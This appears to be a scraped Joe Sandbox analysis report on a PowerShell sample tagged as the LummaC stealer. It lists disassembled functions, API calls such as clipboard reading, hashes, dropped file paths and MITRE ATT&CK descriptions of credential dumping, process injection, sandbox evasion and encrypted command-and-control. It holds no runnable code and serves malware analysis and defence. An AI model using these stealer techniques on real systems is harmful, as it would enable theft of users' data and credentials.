g#X%, xrefs: 004272E8
UGBY, xrefs: 00427708

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID:
String ID: !$*W.Y$+K!M$;[0]$>C7E$FOEH$NO$U'g)$UGBY$bweM$g#X%$l+X-$w?n!${7y9$$&$EG
API String ID: 0-3492884535
Opcode ID: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction ID: ba39798a3fcb6da663dd5afd8d89a9a5fc3f4f782173f0556435d4ff5b4d5338
Opcode Fuzzy Hash: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction Fuzzy Hash: A3E10EB4608350CFD7249F25E85176FBBF2FB86304F45896DE5D88B252D7388906CB4A

Function 004329C0 Relevance: 9.1, APIs: 6, Instructions: 144clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004329E2
GetClipboardData.USER32 ref: 00432A05
GlobalLock.KERNEL32 ref: 00432A22
GlobalUnlock.KERNEL32 ref: 00432B6B
CloseClipboard.USER32 ref: 00432B73

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction ID: f2decc6a1db23371b8bb2cc1877cdad688787675f84f74fde2292b1bd35bf902
Opcode Fuzzy Hash: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction Fuzzy Hash: 855102F1D08A828FD700AF78C54936EFFA0AB15310F04863ED89597392D3BCA9598797

Function 004312D1 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00431360

Strings

G, xrefs: 00431469
n, xrefs: 00431497
/, xrefs: 0043142D
], xrefs: 0043140F
0, xrefs: 0043153F
, xrefs: 00431405
0, xrefs: 004313F1
m, xrefs: 0043147D
#, xrefs: 0043145F
4, xrefs: 004313E7
^, xrefs: 00431423
Q, xrefs: 00431419
{, xrefs: 004314A7
O, xrefs: 00431441
B, xrefs: 00431437
B, xrefs: 00431455
;, xrefs: 004313DD
J, xrefs: 0043144B
~, xrefs: 00431487
H, xrefs: 00431473

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction ID: e21bf8ef08eaefae2f6608d65dd533aaf672cde794620ee92b713000d27e8169
Opcode Fuzzy Hash: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction Fuzzy Hash: 9981F52010CBC289D326C63C885875FBFD16BE7224F184B9DE1F58B3E6D6A98146C727

Function 0042E9ED Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042E9F6
VariantInit.OLEAUT32 ref: 0042EA05

Strings

:, xrefs: 0042EA48
T, xrefs: 0042EA24
8, xrefs: 0042EA40
6, xrefs: 0042EA78
(, xrefs: 0042EA80
*, xrefs: 0042EA88
-, xrefs: 0042EA94
4, xrefs: 0042EA70
0, xrefs: 0042EA60
Q, xrefs: 0042EA2C
2, xrefs: 0042EA68
,, xrefs: 0042EA90
b, xrefs: 0042EA3C
>, xrefs: 0042EA58
<, xrefs: 0042EA50
., xrefs: 0042EA98
W, xrefs: 0042EA34

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction ID: 67e1650e07e25dd8c979730081919a9ec74336f1c366e84b3847a4c8d399cf69
Opcode Fuzzy Hash: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction Fuzzy Hash: 19410921108BC1CED726CF388488646BFA16F66224F0886DDD8E54F3DBC775D51AC7A6

Function 0042F833 Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 85COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042F83F
VariantInit.OLEAUT32 ref: 0042F84E

Strings

T, xrefs: 0042F873
2, xrefs: 0042F8B7
., xrefs: 0042F8E7
-, xrefs: 0042F8E3
:, xrefs: 0042F897
0, xrefs: 0042F8AF
b, xrefs: 0042F88B
4, xrefs: 0042F8BF
>, xrefs: 0042F8A7
8, xrefs: 0042F88F
Q, xrefs: 0042F87B
6, xrefs: 0042F8C7
W, xrefs: 0042F883
(, xrefs: 0042F8CF
*, xrefs: 0042F8D7
,, xrefs: 0042F8DF
<, xrefs: 0042F89F

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction ID: 5aee6742307bd22be2b72699ebf7517107c7abda4f37a595e92ffc77e439cf83
Opcode Fuzzy Hash: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction Fuzzy Hash: 34410820108BC1CED726CF3C9488616BFA16B66224F488ADDD8E54F3DBC375D51ACB66

Function 00432409 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 90COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043244F

Strings

H, xrefs: 004324D1
E, xrefs: 00432495
@, xrefs: 004324E5
X, xrefs: 0043246D
e, xrefs: 004324B3
Q, xrefs: 0043249F
J, xrefs: 0043248B
A, xrefs: 004324EA
[, xrefs: 004324C7
L, xrefs: 004324BD
C, xrefs: 00432481
@, xrefs: 004324A9
[, xrefs: 004324DB
X, xrefs: 00432477

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction ID: 53b19800ce9beadd92bbeaf8c0dd5e513984ffb5c5a49c85e3815ab243118963
Opcode Fuzzy Hash: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction Fuzzy Hash: 0541097010C7C18AD365DB28849878BBFE16B96314F885A9CE6E94B3E2C7798409C757

Function 00432194 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004321C6

Strings

X, xrefs: 004321EB
@, xrefs: 00432263
C, xrefs: 004321FF
A, xrefs: 00432268
E, xrefs: 00432213
X, xrefs: 004321F5
e, xrefs: 00432231
H, xrefs: 0043224F
J, xrefs: 00432209
Q, xrefs: 0043221D
[, xrefs: 00432245
@, xrefs: 00432227
L, xrefs: 0043223B
[, xrefs: 00432259

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction ID: f917ff13e8fa353cdd9af704c32342f25a9e0069aca0bae3d4b305f03d6e9fde
Opcode Fuzzy Hash: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction Fuzzy Hash: F841187000D7C18AD3619B28849874FBFE06BA7324F885A9DF6E84B3E2C77984498757

Function 00431EDD Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 92COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431EE7
VariantInit.OLEAUT32 ref: 00431EFA

Strings

e, xrefs: 00431F1F
w, xrefs: 00431F4F
e, xrefs: 00431F5F
z, xrefs: 00431F2F
p, xrefs: 00431F9F
n, xrefs: 00431FAF
A, xrefs: 00431F8F
z, xrefs: 00431F6F
v, xrefs: 00431F3F
p, xrefs: 00431FBF

Memory Dump Source

Source File: 0000000C.00000002.2797030083.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_powershell.jbxd

Similarity

API ID: Variant$ClearInit
String ID: A$e$e$n$p$p$v$w$z$z
API String ID: 2610073882-1114116150
Opcode ID: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction ID: 776134ba1da329d7d35a817d8e2b42585fa70f537528e7a9cdeab4ed979499a7
Opcode Fuzzy Hash: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction Fuzzy Hash: 2641383160C7C18ED331DB38885879BBFD1ABA6324F088AADD4E9872D6D7794505C763

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 00000.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\singl7[1].mp4

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2y2egrgy.jea.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5a4iojsf.kkz.psm1

Windows Analysis Report
00000.ps1

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre